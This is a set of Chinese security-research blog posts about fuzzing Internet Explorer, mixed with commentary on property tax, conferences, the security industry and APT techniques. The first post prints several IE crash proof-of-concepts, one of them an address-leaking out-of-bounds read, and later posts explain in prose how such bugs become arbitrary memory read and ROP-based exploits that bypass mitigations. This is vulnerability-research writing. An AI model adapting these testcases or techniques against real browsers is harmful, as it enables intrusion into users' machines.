二月月经贴

补丁一出来就想写点东西的,结果多耽搁了几天,简单来说,这次补丁没什么亮点,不痛不痒的补了一堆,看上去数量惊人,实际效果一般。每次看那啥的时候,总觉得缺乏惊喜,这个月也是,没见过的crash一只手就能数出来。当然,叫人眼睛一亮或者菊花一紧的也有,比如2600多行的样本,所以有时候烧博士就很佩服微软的同行,基本都修炼成忍者神龟了。
这次灌水的当中,烧某人报的都修了半年以上(而且还没修好)。补了且不是烧某报的,这个月可以列出一串,随便搜一个贴出来是这样的

<!DOCTYPE>
<html>
<meta http-equiv=”x-ua-compatible” content=”IE=10″>
<title id=P>So you think you know fuzzing? Think again</title>
<script type=’text/javascript’>
function goPANW()
{
VV.getBoundingClientRect();
VV.replaceNode(VV);
try{VV.outerHTML=”no you cannot”;}catch(e){}
document.attachEvent(“DOMNodeInserted”, goPANW);
}
</script>
<body onload=document.body.contentEditable=”true”; id=VV onpropertychange=goPANW();>
<iframe>lol</iframe>
</body>
</html>

满不满足微软修补的条件,我就不说了,总之微软的门槛很奇怪,也有可能是报得比较早的吧。
另外还有一个,可以泄漏一下地址。其实这是个越界读,读完后内容会显示出来,说实话跑了上千种crash了吧,这个还独一枚,CVE不知道是啥,就知道应该是补了,然后这个样本略复杂一点。

<html xmlns:v=”urn:schemas-microsoft-com:vml”>
<style>v\: * { behavior:url(#default#VML); display:inline-block }</style>
<head>
<meta http-equiv=”x-ua-compatible” content=”IE=9″>
<title id=P>So you think you know fuzzing? Think again</title>
<script>
function goFEYE(){
window.navigate(‘#P’);
document.selection.createRange().pasteHTML(’3′);
CollectGarbage();
}
function goPANW(){
document.body.contentEditable=”true”;
document.selection.createRange().pasteHTML(’4′);
getSelection().addRange(document.createRange());
A.replaceNode(document.createElement(“header”));
document.body.createTextRange().execCommand(“SelectAll”);
getSelection().removeAllRanges();
document.selection.createRange().queryCommandIndeterm(“Italic”);
N.replaceNode(document.createTextNode(“yeswescan”));
document.body.createTextRange().execCommand(“MultipleSelection”,false,true);
CollectGarbage();
}
</script>
</head>
<body onload=goPANW() onactivate=goFEYE()>
<xml:namespace ns=”urn:schemas-microsoft-com:vml” prefix=”v” />
<v:oval id=A></v:oval>
<style id=N></style>
</body>
</html>

还有这次补丁后,有不少空指针的也神秘消失了,比如crash在MSHTML!CMarkupPointer::There+0×145,MSHTML!CTreeNode::EnsureNoDependentLayoutFixup+0x2d, MSHTML!CTreeNode::Parent+0×7等,这几种崩溃的出现频率都在十万分之一以上,全补丁机器上跑也是一切OK。可能是哪位仁兄顺手改了一下,也有可能是修其他的影响到了,嗯,后面这个可能性大一些。
罕见的crash中,还有一类是除零错,迄今为止烧某在fuzz过的所有的软件中都发现过,但IE是最少的。这次补了以后不能触发的也有一个,我还以为是他们修了,确认后又得到了否定的答案,不过反正这种也不计入安全问题中,贴一个出来看看吧,IE11的,同样是略复杂。

<!DOCTYPE>
<html>
<meta http-equiv=”x-ua-compatible” content=”IE=8″>
<title>So you think you know fuzzing? Think again.</title>
<script>
function goPANW()
{
document.createElement(“canvas”).applyElement(P);
var W = document.body.createTextRange();
W.moveToElementText(N);
W.select();
A.swapNode(document.createTextNode(“noyoucannot”));
document.selection.createRange().expand(“character”);
W.moveToPoint(557,557);
}
</script>
<body onload=”goPANW()” contentEditable=”true”>
<form id=P action=”#”>
<select id=A></select>
<input id=N type=”checkbox”>I had a dream<br>
</form>
</body>
</html>

再来凑个数,上面都是影响IE11的,但有不少人还在用IE8加上posready2009的补丁,其实IE8上也有除零的问题,而且更简单

<!doctype>
<body contentEditable=true><ul style=ruby-align:distribute-space><ruby><del style=border-style:solid>
烧先生最近几个月都不花时间去搞fuzzing了,不过看着大家刷得这么high,下个月还是挑几个报吧。领导上也没有要求打Pwn2Own,有些神奇的东西如果就这么淹没在历史的长河中实在是可惜了。

肘子必须死,房价必须涨

刚好这几天要交地产税,趁这个机会白活白活了。

各个州的地产税率是不同的,最低的路易斯安娜0.18%,最高的新泽西1.89%,这个是网上能够查到的。但是注意了,这是中位数,因为税不是简单的地产价格乘以系数,还有一些其他的收费项目,这里我就拿我自己的说说了。

首先是基本税率,Alameda县是1%,这个没得少。然后还有选民们同意征收的额外的税共计0.1787%。嗯,选民,我在大宋住了很多年,也不明白这个词啥意思,就不解释了,还是说说具体的项目吧:Fremont的市里要抽0.0123%,公立学校需要0.0892%,社区大学需要0.0378%,公共医院需要0.0171%,公共交通BART需要0.0045%,东湾各公园需要0.0085%,Alameda水资源是0.0093%。额外的这部分实际上是你可以享受到的,比如Fremont的公立学校很多都是非常好的,我们所在的区小学初中高中都是满分,再比如说东湾的各个公园,最多最多收个停车费,因为有大家交税,所以门票也免了。这一部分是固定税率,直接乘在你的地产价值上,每年交一次,一共是1.1787%,单算这部分的话,大约85年相当于重新买一次房子,还算靠谱。

地产税另外还包含一部分其他收费,比如面向整个辖区的污水处理费,灭蚊的,护理工人的开支,垃圾处理等公共开支,一共是528.78刀。每一项对应一个电话号码和金额,纳税人可以去咨询。这部分是固定的,也就是说大概整个Alameda县,每家每户都要交这么多,没得商量。

所以,百分比的税率加上固定的收费,加起来就是总数。那么现在问题来了,当红炸子鸡说税率是2.5%,请问房产价值几何?作为一个博士,这个问题简直是小case,所以我帮您老算了:1.011787x+528.78=1.025x,解方程得x大约是40019,也就是四万美元。我们假定带鱼说了真话,那它在这里的样本地产价值四万刀——25万人民币的房子,麻痹还敢说大辽人民生活在水生火热中?呵呵。

好吧,实际上,Fremont房价中位数接近70万,所以这个税率基本上在1.25%左右。在大辽,房子并不是一个很重的负担,我还有一个数据,2012年估计Fremont家庭中位收入是10万刀,这几年大家收入都涨了些,因此房价基本上是税前年收入的6、7倍。理论上来说,买越贵的房子,地产税所占的百分比越低,正常家庭如果交到了1.5%,可能真是属于贫困,或者是买了几十年的房子。反过来,不能说2.5%的税率不存在,就像我宋也有廉租房一样,虽然一直以来就是个传说,但在数学意义上,零概率的事件也是会发生的。

喉舌肯定是代表官方的意见,所以我们来看看弦外之音。简单统计一下,官煤第二次引用无来源评论造谣的重灾区主要集中在收入、房产税,简单的说是在民生上。嗯,民生,呵呵,这一点可以打住了。死鸭子嘴硬的部分,最高潮的是在房产税,所以我在上面贴了一下加州的情况,也不能叫打脸,反正官煤最高境界是,根本无脸,如何可打,我也就贴出真相来给看官看看而已。这里还需要稍微深入一下,国内最近的房产市场不是很活跃,大约直接影响到了土地转让和相关税收,而这一块一直以来是地方政府主要收入来源之一。老大没钱了怎么办,师爷得想办法刺激一下。那么,很容易理解为什么鼓吹大辽房产税很高了,就是因为要反衬出我宋的优越性,直白一点就是说,房价还有上涨的空间。仔细看看第二篇奇文,有地方稍行退认,唯独房价部分不让分毫,可见那啥真是铁了心为房价保驾护航。肘子输,其实输在了房价上,作为资深双花红棍,一向为那啥先锋,普通事情能搞得倒么,所以关键还是钱的问题,挡了税收的路,别怪老大翻脸不认。俗话怎么说的,宁杀人父母,不挡人财路,肘子这次打狗没看主人,出门没查黄历,归根结底还是自己智商问题。

当然,这些和僻民一点关系都没有,唯一需要想想的是持币待购的:为了房价进一步飙升,那啥脸都不要了,你还在等什么呢?

蓝帽子及其它

      今年的BlueHat人气不够旺,猜测可能是和微软最近的裁员有关,邀请的人少了不说,以前的熟面孔也没见到,还找不到人问。我当时就想也不知道明年BlueHat还开不,如果就这么结束了,那我可是最后一届的speaker,挺有纪念意义,也挺可惜的。BlackHat我因为签证问题不会去,所以BlueHat我特别精心准备了一番,主要讲思路和方向——我觉得既然做了fuzzing,对具体情况是不会感兴趣的,因为思路和方法更具有决定性的作用,其实这也说明我确实放血了,思路都讲了,拼机器和拼时间我肯定抗不过其他人的,如果我有所保留,那诸位也不会拿到我的代码了,特别有好些还是在我不那么欣赏的公司。当然,其中最起作用的思路会在BlackHat详细说,我在西雅图的时候用两句话把它描述了一遍,讲完后有微软的来问,我又说了一遍,我不确定他们理解不,但如果他真是做了一年fuzzing,这个时候应该在加班改代码。微软的人态度还是很端正的,起码工具还是自己写,没有到外面随便找个什么东西将就用了,所以在批判一些工具的时候,我们还比较谈得来,说到思路的时候也没觉得交流有什么问题。
      说起工具,有个很有意思的事情,我们公司刚毕业的一个很聪明的博士,动手写fuzzer,第一个版本写成了cross_fuzz,被我们一番吐槽,然后他的第二个版本又写成了grinder。问题在于他之前并没有用过这两个东西,所以我的结论是,这种形式的fuzzer,可能是正常思维的人能想到的极致,换句话说,足够聪明的人,就算没有多年的安全浸淫,大约也能做出这种思路的东西。微软的东西好一点,但他们单元测试的用例太多,给他们带来的好处是不用去努力生成基础用例,而坏处是他们会过于依赖这些东西。我打个比方,你有一个动物园,你就觉得大概生物学就这样子了,但是fuzzing不是这么回事情,你把两个熊猫放进工具里面,杂交变异无穷代,能得到个彩虹熊猫就不错了,但这是morphing,不能算fuzzing。所以更好的方法是定义一个规则,然后工具去跑这个规则,比如你定义生成能活动的低熵体,那工具不但可以覆盖从阿米巴变形虫到苍老师,还能生成出比如三个眼睛八个鼻子的黑客来。在这之上的“思路”也是一样,这里打引号表示并不真正是思路,只是有人觉得这种方法生成crash样本会更多,当你着手去找这种思路的话,那就傻了,计算机跑这些比你快得多,你应该去想的是诸如“会不会有一条语句比其它语句更能搞出问题”或者“会不会有一个调用序列比较有趣”之类的思路,然后让计算机去验证你的想法。之前我看到个ppt,洋洋洒洒列了很多思路,我就想,嗯,如果要继续,我估计我还能够弄上好长一段时间。
      还有就是一个合作的问题,不仅是组内的合作,还有和微软的合作。一句话,报漏洞的目的是什么,有人觉得就是打脸,你丫傻逼,我来打你的脸,这是不对的。好比出去卖产品,销售人员说,哎呀,竞争对手某某,不行,竞争对手某某某,汉奸,这行就我最厉害。开始可能有效,久了别人肯定会想,全世界都傻逼啊,不对啊,这种概率太小了,高速上说别人全逆行,怕是自己走错了道。所以不能这么搞,你可以说别人很厉害,但是我们更厉害,就像搞测试的人要学的第一门课一样,你找bug不是给开发者过不去,而是为了让产品更好这一共同目标而做的努力。所以和微软其实是个合作的态度,不是说拉一车垃圾到别人家去说,这里面有六个五毛的硬币,自己倒腾去吧。我碰到的每一个同修bug相关的,第一件事情就是说哎呀你报的东西,太好了,我们方便处理,还有那啥友希陈也是,然后接着感慨,说有些代码,free掉和use的部分,中间有八英里长的垃圾代码。像IE这种产品,修补是很恐怖的事情,不是随便提交一个代码就行,他们内部的流程及其复杂,首先是找到根源,然后给出一些fix,包括保守一点和激进一点的,此外需要查看其他版本的代码,找出受不受影响以及原因,还要接受问询,指出可能受到的影响和补丁的自信度。提交了还得去跑回归测试,规模我就不知道了,想必也要半个月到一个月,以观后效,有啥不正常行为还得回去重来。其实看看补丁就知道,有些月份补丁特少,不是说他们懒,而是可能fix出了问题,然后给撤销掉一些补丁,然后CVE就从两位数变成一位数了,这还不止出现过一次。
      合作这个问题,还有几句话。看看这次的CVE-2014-4148,现在早已不是单打独斗的年代,漏洞从寻找利用到部署攻击,每个环节都能看出专人打磨的痕迹,每部分都是千锤百炼。这其实就是网军,就是战争,和演习不一样,更不是演戏,羞羞答答的就算了,私下用牙签戳来戳去,徒授人以笑柄。《后会无期》里面有句话说得好,你连世界都没观过,哪来什么世界观。69年我宋万吨油轮才下水呢,人家都登月了,就像躲在健身房里练出一身青蛙肉的,真要去野战估计被人徒手就秒了,对抗的年代,FEYE天天强调对抗,漏洞为王回归攻防,就是因为这不是过家家,见过战争的残酷,哪会天天去感慨当年康乾盛世,还不如去整整CTF培养点后备人才了。
      在西雅图我还问了不少问题,最大的不爽就是我说了一堆,然后他们说嗯,就是,这部分源码我看过,情况是这样的,blah blah。搞IE方面,微软有天然的优势,而且他们也有专人在弄,所以我觉得很沮丧,这次公开一些思路后我就不继续搞了。当然,要搞还是搞得动的,现在每个月抛开UAF的东西,5、6个其他类型漏洞还是有的,只是这样刷下去没意思,你要说这是研究嘛,其实和产品也不相关,欠缺目的性的东西做久了就是浪费时间,所以还是算了。还有一个原因是,其实我们只报了不到三分之二的洞,而且还仅仅是纯业余弄一下,今年1/3的IE都被我们弄到了,继续也没什么意思。只是当时没控制好托了大,本来想弄到和ZDI级别差不多的,大半年下来发现少了二十来个,所以为了找回些场子,这次blackhat放的sample,全是找了没报但是补掉了的。我私下统计了一番,到这个月为止,基本上补了的数目完爆ZDI,但也就私下说说,场面上虽然是一个数量级,但比全世界花钱买漏洞的还是少了二十来个,这也是事实。
      写累了,还有好多八卦,只好留做以后的素材了。下次P2O,不知道会什么情况,其实我蛮喜欢看戏的,如果一个公司出两个队那就更好了。在大辽我们是不敢去弄这些事情,只有祝各位武运长久,赶快去做家庭作业吧。

为啥有些评测不靠谱

看到了Intel Security ATD的评测宣传,有感而发,有些想法共同探讨一下。

先谈谈几个矛盾的地方

  • AV/IPS评测动不动就是99.x%的检测率。都不用说APT了,针对消费者的Crimeware都还满天飞。就现在AV的普及率,如果真这么有效的话,怎么会有这么大的黑色产业。
  • IPS/IDS客户反馈出名的误报率高,而且是超级高,这个也变相造就了SIEM这个市场。各种公开评测动不动就说99%检测率,0误报,谁对谁错?

问题在哪里

  • 现在的评测基本上都是以样本检测,没有考虑过时间或者生存期的问题。现在大的趋势是,样本实际存活的时间很短,如果有漏报等到有了检测,黄花菜都凉了,人早换枪了。
  • 评测和用户体验严重脱节,消费市场还好,但是企业市场尤其是针对性的攻击的检测都是极差的。客户每天都在叫要检测,但是评测形式还是一片大好。
  • 评测还没法不做,因为很多客户还是很看重这个。所以一般公司都是有独立的队伍专门搞评测,就是为了那个虚假的检测率。

忽视还是正视

  • 首先,这是不是个问题?很多人都选择了直接忽视,长此以往很可能就是大家一起被拍死在沙滩上。所以,先得承认这是个问题。
  • 用流行的互联网思路,客户体验至上。就现在的Thread Landscape,就是不管什么技术和平台,提供不了真实的防护,帮客户解决不了这个问题,都是虚的。
  • 改变评测现状很难,大家从教育评测机构开始吧,帮着想想怎么做更好。
  • 从我做起,千万不要让评测毁了产品!

 

 

后现代艺术:解构主义APT

[……]

古典艺术APT发展的顶峰毫无疑问是Duqu和Stuxnet。从某种意义上来说,这两个东西其实是代表了两个极端,Duqu是维特根斯坦,一剑封喉,内核漏洞唯快不破,而Stuxnet则是柏拉图,丝丝入扣,大量漏洞互相配合。这两个真正意义上APT的出现,宣告了一个时代的来临,但很遗憾地也宣布了这个时代注定不属于大宋。因为主观上,这种团队合作和组织协调在我宋还没有出现的土壤,客观上,神洞或者一堆神洞的可能性已经很小了,加上现在基本上是老一代中年危机,新一代打酱油的时期,APT中的T问题不大,但A真是很难,P就更谈不上了。

当传统的路子被别人走光了的时候,后现代主义艺术便应运而生,而解构主义APT则是它开出的一朵的奇葩。同传统意义上的APT相反,解构主义APT不再强调0day,甚至不再强调漏洞之间的协作性,因为对于解构主义APT来说,并不存在一个中心,比如特定的漏洞或者利用方法,相应的,建立在中心之上的结构也不复存在。它的颠覆意义在于把所有的环节碎片化,离散化,环节之间更多的靠人而不是依赖代码来进行连接,这样一来,以无序但庞大的数据库对应环境的多样性,以攻击者的经验来对付受害者的无知,实际上从另外一条路上更有效地适应了APT这一名词的核心理念。

以某通过IE植入的APT为例。它通过flash来发送收发核心攻击代码,因此所有的恶意元素只存在于内存中,除非是对全内存进行dump,否则无法获得关键部分数据。在收集信息方面,它并不简单地判断浏览器和平台版本,而是在此基础上,从攻击端收取各种加密的攻击数据,逐个尝试可用的攻击代码。一旦成功后,APT所有收尾工作依赖于一个内存加载的模块,后续的目标价值判断以及提权等步骤,均基于攻击者的主观衡量来控制和实施。

简单解释一下。首先,一个通用的漏洞是充分但不必要的条件。这很容易理解,对于一个没打完补丁的系统来说,千里送0day是属于资敌行为,更何况没打完补丁的情况在现实中远大于打完补丁的情况。其次,补丁的判断并不需要特殊的技巧,选择性地找出几个代表漏洞即可,以某xor [xx], 20000h漏洞为例,2013年7月前,五行JS即可触发,补丁后,类似漏洞可以通过增加调用来触发。再次补丁后到xp生命周期结束的补丁为止,类似漏洞可以通过事件调用方式触发,所以对应选择三次触发代码,就能准确覆盖几乎所有补丁状况。最后,payload是通过精心设计的rop来加载内存dll实现的,不存在一个显式的进程创建或者模块加载过程,因此现有基于白名单或者信任关系的模块调用检测根本无能为力。

写到这里说一句,微软的两次十万大奖,其实都和通过控件来绕过现有防御机制相关。就思路和学术意义上来说,这两个东西非常有价值,但在应用中,从11年某bh的议题提出思路开始,野外并没有见过实战样本,究其原因,猜测有几个方面。第一、攻击的流程是一个链条,每一段需要与上下配合,这种方法通用性很好,但实际中未必有一个服务端能够同时运行在arm和x86构架上;第二、强调抽象其实损失了控制细节的能力,比如脚本能加载dll和运行程序,但做内存加载代码基本很难;第三、攻击实际上是低控制能力到高控制能力的过程,下层总是能模拟和完成上层的能力,回到上一抽象层,本质上是将到手的控制权拱手相让,属于开历史的倒车。世人只说第一个吃螃蟹的人,却没有说第一个吃蜘蛛的人,何哉?蜘蛛未必没有人吃过,只不过作为食品没法成为主流,脚本化亦如是。实践是检验真理的唯一标准,非不为也,实不能也。

所以回到APT上,同艺术一样,APT的发展总是同环境相关的。你如果不知道IE常常补出新的漏洞,自然就不知道用不同的漏洞可以无缝涵盖所有补丁;你如果不知道有用白名单控制加载的,自然不知道最好的方法是在内存中完成一切;你如果没有写过APT或者分析过APT,自然不会以攻击者的思路去解释攻击者的做法。在漏洞和攻击方式实际上日益减少的今天,离散化的解构主义APT是一个无奈但自然的选择。通用且美妙的外壳是容易被捅掉的,譬如FireFox上的UAF,而复杂化,交互化,就像一个千头万绪的案件一样,让人无从着手,正是解构主义APT生存的保障。

微软最近干了些啥

这几年IE被各种轮,最近大约是怒值蓄满了,微软憋着连放了两个大招,想着力解决Use-After-Free的问题。六月补丁中,微软搞了一个Isolated Heap,七月补丁又搞了一个Deferred Free,说起来代码改动不大,但是效果还是颇为明显。首先,六月份那个补丁把一些内部对象同用户可控内容的对象隔离开来,所以占用还能占用,但内容不是很好控制,这就断了精确控制的路。然后,七月的补丁让真正的释放动作延迟发生,这样你想去占用的时候,其实根本人家还没有释放,这是断了占用的路。两个小手段下来,瞬间门槛就提高了不少,如果说五月份之前可利用漏洞占总数的10%到15%的话,现在这个数值已经降到了2%到3%。当然,这个数据是烧某人自己的统计,而且还是报给微软了的,也许以后刷CVE得换换其它思路了。

再说点开心的事情吧,Isolated Heap保护还是很有限的,Deferred Free只有100000字节,可能会被撑爆。一些其它类型的漏洞,例如CVE-2014-2795字符串拷贝溢出,CVE-2014-2797变量类型混淆,基本是绕开了这两个机制,留到现在的话弹记事本还是没问题的。顺便说一句,这次HITCON拒了Royce Lu的议题,所以连同其他的神仙问题一起,这两个洞会在其它适当时候拿出来谈谈的。

其实防来防去,还是一个思路的问题,微软的补,用的是小手段,就像范闲一样,打打叶灵儿没问题,但对上庆国皇帝的王道真气,还是落了下乘。老实说这种类似的东西,平底锅早就写出来了,私下用可以,公开后却是意义不大,因为具体的利用是一个完整的链条,但从漏洞到记事本的路径是一棵树,删减枝条的方法基本上等价于挂一漏万。当然这里不是说这些方法没用,只是微软这些修补手段,气势不够磅礴,格调不够高雅,无论从美学上还是结果上看,提高门槛确实有效,但解决问题还是欠佳。

好吧,说了这么多,其实就是七月份那个补丁碍着我fuzzing了,我得一个一个的补,IE6到IE11啊,我靠。

话说回来,微软其实应该想一想,现在这么多利用,有没有什么共性。照烧某人看来,除开设计漏洞,这年头出问题的object同被利用的object,鲜有是同一个的,所以就着这个特性一刀往下切,破坏掉内存风水才是王道。这里面,第一个切掉的就应该是堆地址的线性增长,然后隔离堆应该做得更变态一些,同样大小的不同object不能出现在同一个堆中,还有merge和split应该更频繁一些,等等等等。一言以蔽之,提高各种内存分配的不确定性,基本目前的各种利用就会歇菜99%。这里确实存在一些效率的问题,但实际上内存分配与回收的频率远没有说严重影响到IE响应速度的地步,所以安全与效率之间的折衷,显然还是划算的。

嗯,这些东西,烧某人其实是不愿微软修的,起码给大家留点念想,别把这个脆弱的生态给破坏掉了,毕竟平底锅和火眼的股票同这个生态息息相关。说起来这两个公司的一线宋人,都还是酒红色的护照,拿着公司的钱,消着公司的灾,仅此而已。其实哪儿混饭不是混呢,为了生计还有人去3×0呢。所以了,大宋敌人什么的,就算是玩笑也请大家别开了,别的不说,举个栗子,最早是数字公司去接洽微软,但最后xp防护却给了鹅厂,可见数字公司形象差到什么程度了,就算这样,硅谷宋民对外ppt里面都没说过数字公司员工哪怕一个坏字。大家都是龙的传人,生是大宋人,死是大宋的死人,别往在辽宋人头上扣屎帽子了。

今年黑什么

如果是写微博,这么大的题目其实一句话就好,数字娱乐有限公司旗下重金收购(但未遂)ios 7的完美越狱实际上已经回答了这个问题。这场闹剧的从表面上看,无非是其试图通过控制越狱机器来控制盗版市场,但实际上也说明其战略眼光从传统pc投向用户群增长更迅猛的移动设备。有人可能觉得无非就是个太极嘛,烧某人只能说太傻太天真了,技术上来说,只要这玩意儿加载了,干什么都行。比如控制签名部分,除了正版下载的应用和通过太极传过去的盗版应用,其他第三方盗版市场统统运行不能,很容易就把当前某些xtool、x兔子之类的全部清理出局。除此之外,顺手帮关系好的部门取点证什么的,更是小菜一碟。这些事情,就是不能仔细去想,一旦仔细想了,你抖不抖?反正烧某人是抖了:人家笑眯眯地说,我送你一个i定时炸弹,磨砂黑镶金边带黄马褂上书房行走,你要不要?别忘了,这玩意可是无声无息地爆过几次的。

说到这里,索性就扯远一点。脑残星、银水之类的,天天捶地痛哭,不是国军无能,而是共军太狡猾。其实这事情应该反过来看,不是共军狡猾,而是国军太无能——情商智商都在平均水平以下,也就别怨大自然没给你一个交配以延续基因的机会了。烧某人痛心疾首地打个比方吧,winxp今年初就停止技术支持,但全球还有30%的机器是运行这货的,这tmd大商机啊,白的黑的都可以玩:你可以去西雅图找微软谈,你不支持了,我帮你支持,修漏洞推补丁,只要你告诉我漏洞细节就行,剩下苦力我帮你做;谈不下来还有第二条路,每个月放圈天,反正咱家的浏览器内核已经有神童先补了,全宇宙唯一一个不受影响的。或者双管齐下,黑白兼有之,平均线以下的还能有活路否?要知道从武王伐纣开始市场份额就是靠抢的,光修内力有毛用,不然你说08年开始都修了六年内力了,倒是给咱胸口碎块大石看看呢?

回到正题上,在大宋论嗅觉和思路,wushi牛算是搞技术中最顶尖的一层了,现在他搞了个Keen,很明显重心已经开始改变。Windows下浏览器前几年肉已经被吃得差不多,现在的情况是grinder和cross_fuzzer让门槛大幅度降低,加上西雅图基本上破罐子破摔,一年搞三位数的可利用漏洞貌似也不是什么难事。但现在从FEYE的报告来看,哪怕apt“强”如大宋,消化能力也远远达不到,所以市场饱和后,应该果断放弃淘金改行去卖牛仔裤。个人电脑的二阶导数既然为负,就去找为正的移动平台,这是wushi牛给诸位指的方向,从原理上这也是改行创业大牛们给的出路——如果没有掀起大风大浪的能力,就顺着潮流去搞apt吧。

移动平台的兴起其实还有一个巨大的副产品,那就是第三方软件的问题。从不才十年前搞脚本被人瞧不起开始,多年来敲打系统的气宗就不屑搞奇技淫巧的剑宗,所以这几年以乌云为首的剑宗搞得风生水起,想必还是让气宗们不爽了一把的,不过这不算完,移动app的安全问题估计随后还能让剑宗大火一番。气宗制造的都是大新闻,但一年几个大新闻很难干过剑宗天天制造的小新闻,襄阳郭大侠,二战日耳曼,都吃了这个亏,在大宋短平快这个大环境下,新上船的还是无脑投奔剑宗得了。

新年略忙,所以福利都揉在前面写了,神话就是现实,烧某人当玩笑开的,牛人已经在做。自古闷声发大财,求名就难得利,比如100万辽刀谈崩了的ios越狱组,所以成功人士常把这个反过来实践,口碑不好,又或造谣一类,有损的无非是静止质量为零的名声,但得到的却是每公斤八万多人民币的钞票。这道理放之各行业而皆准,非只搞安全的如斯,倘若数字娱乐有限公司不弄二百五做幺幺零,一样可以推不含地沟油的煎饼,一样可以“今天你吃灌汤包的速度击败了全国95%的用户”,一样可以砸加州牛肉面大王或永和豆浆的场子。所以但凡不搞技术了,脸皮真的可有可无,为了钞票打民族牌,造谣抹黑竞争对手,这才是正道。

嗯,本来有朋友点播MS13-098八卦的,但涉及到神仙,写了怕有落雷,只能用算命先生的方式说,这个才是漏洞的正确用法,就好比google眼镜,学术界只想可以使劲闪你眼睛让你出车祸,商业界却想可以乱带路让你进我的铺子。知名二道贩子(非成都的)挂牌15万宋刀出售098的MAPP样本,能赚第二笔的不妨杀价竞争一番,反正蚊子腿也是肉。

本文不代表个人观点,阅读后请焚毁

我想我已经是第三次提到FireEye。这次是因为上周五FireEye正式提交了S1,也就是说,正常情况下,100天以后FireEye就上市交易了。关于这个市值,我们私下里面估计,应该在50亿美刀左右,这个数字除以它的盘子,大概是102M,每股价格应该在40多美刀。08、09年洗牌后那些已经进去、即将进去还有刚进去的人,视股票多少大约都可以换车、换房,或者换老婆了。

    FireEye在大宋并不出名,甚至很多搞网络安全的都不了解FireEye到底做啥,但这不妨碍它成为大辽硅谷第一火的安全类startup公司。个中原由,之前几篇blog我已经详细说过,一言以蔽之,有市场需求有红头文件。对于FireEye,我觉得非常的乐观,甚至我觉得它是下一个有望冲击100亿市值的安全公司,没有之一。关于这个结论,我们是有过一些讨论,简单的说,虽然目前FireEye主要还是网络设备,但相比其它安全厂商,它的主要竞争力在于实时性和有效性上,一旦其拓展到桌面市场,对传统那些杀毒厂商,都是一个巨大的威胁,甚至会造成这一块市场的重新洗牌。另外还有一个移动市场,现在的情况是,所有人都在寻找移动的安全解决方案,但市场给不出一个像样的东西。相比其它的公司,FireEye的优势在于,首先它有良好的口碑,专业解决PC上的APT问题,所以人们倾向于认为它也能解决mobile上的问题;其次它和学术界有着良好的关系,在宣传策略上,特别是抢占政府级别的客户上,比所有的竞争对手都多一个有利的因素;最后是一个先机问题,这基本上是在正确的时间做正确的事情那种,一个行业一旦有一个巨人,就很难容下另外一个,很幸运的是,FireEye做了第一个。所以,单纯的APT解决方案,能支撑50亿的市值,如果一旦涉足桌面和移动设备,很有可能FireEye的市值会超过100亿。

    回头说一下大宋。我觉得大宋的安全startup还是有些看头,譬如维稳的需求显然是巨大的,但这里面关系人脉错综复杂,大批小公司互相死磕,但受限于地域,能养活百十来号人就不错了。当然里面也有年营收两三百万包装上市的,差不多属于笑话。这一块目前看不到一个能一统江湖,所以也就略过。抛开赚这些钱的,在大宋要想通过个人用户和企业用户做起来,不搞流氓手段基本很难,实在要说,我私下猜测安全宝和翰海源现在还值得一去。关于安全宝,说起来看好的原因有点好笑,因为它是创新工场的,而创新工场除了这个,其它的实在太烂,而kf lee是需要成功的,扶起安全宝比扶起其它比如做压缩的要容易很多,起码它有技术有市场。另外,这两个公司目前似乎相对保持较为中立的状态,大宋是这样的,向一方示好,几乎必然会和另外一方成为仇敌,在几颗大树的威压下,一些藤藤蔓蔓的,就选择了一条大腿来抱,短期内是长得快,但一旦大些,非大腿必然会打压,大腿也未必会保,这种例子,实在太多了。

    往大了说,移动和SDN相关的安全,一定会是下一个热点,移动是混战,SDN是大家都不知道怎么做,相比较下,我觉得移动的市场可能会被现有的上市公司抢占,SDN就难说了,得五年以后看。说起移动,我认识很多人,都在搞这个,真正速度快的,有一个叫TrustLook的,已经有产品有客户,就看结果子还是卖苗子了。我猜无论大辽大宋,数得上名字的上市公司,都在忙着接洽各类移动安全startup,谈论收购的事宜。有一个八卦,有人在斯坦福问一老怀疑自己被窃听的某总,大驾光临Palo Alto是买公司还是买房,答曰纯旅游。结合某总以前的各类光荣事迹,得出结论是,其必然是去湾区既买房又买公司的。这里,房子大约可以在redfin.com上结合听声猜号码的方法给猜出来,但公司就难说了,所以我很好奇他觉得下一个增长点在什么地方。

Cookie已死,有事烧纸

我一直觉得weibo是各种鸡汤各种显摆的地方,难得还有些人只聊些技术和研究进展,刚我就回了这么一贴。但我还是觉得weibo太短,有些东西实在没法言简意赅地白活出来,所以就有了这么一个长东西。当然,一如既往的,题目与内容没啥大关系。

首先说个漏洞的利用方式,是关于绕过的。其实说白了很简单,就是有一类漏洞可以转化为任意内存读写的问题,实际上这个就几乎干掉了所有的防御机制,因为函数指针被写后,流程被可以劫持,栈被改写后,传入参数可以被劫持,任意地址读取后,rop chain可以被实时构造,至于Cookie,根本不用碰它。这是一个不需要任何奇技淫巧的方法,简单粗暴,有点唯快不破的味道,所以有些漏洞不用测试ie11就能知道肯定是direct general的。

再退一步,任意内存地址读的问题。最近三年相当大一部分的ie漏洞都能转化为这个,方法是改写掉string的长度标记,让系统觉得这是一个合法的,非常长的字符串,然后再用这个string去读和计算内存内容。这个转化方法多样,有溢出的,有二次释放的,有直接地址加加减减的,林林总总,反正最后就是把长度标记给改掉了。任意读的结果上面说过,定位可执行模块地址,定位所需要的rop gadget,动态构造rop chain,野外有exp,找来看看就知道的。这里,如果任意内存读是其他可利用漏洞转化过来的,有很大的几率也可以绕过所有机制,除了沙盒。

再往后退,漏洞要能暴露个地址什么的,攻击者只好根据地址和经验来计算位置。如果啥都不能暴露,就只好随便找个什么哥来信了。

由于存在漏洞转化利用方式这么一说,所以在现有公开技术下,漏洞确实如Team509说,是有三六九等品相的。一等的如type confusion,heap overflow,任意地址加减乘除等,参考书目有这个、这等,这些利用技术都很简单而且大体定型,属于规定动作。但一类漏洞中,静态cast这种,千百年也难遇到一个,webkit以后也别指望再有的。堆溢出这个,有一个硬伤,就是写是连续的,微软要想防,把cookie放在object头就好。任意地址加减乘除这种,Cookie就完全失效。这一类漏洞造成的内存操作,稍微区分一下,如果是相对地址的越界操作,大体不影响效率的情况下很难防住,绝对地址的内存操作,要么堆管理摒弃对齐机制(这个不可能),要么堆的生长方式随机化(也不大可能)。我估计,一等漏洞,以后就要集中在最后这一类上。

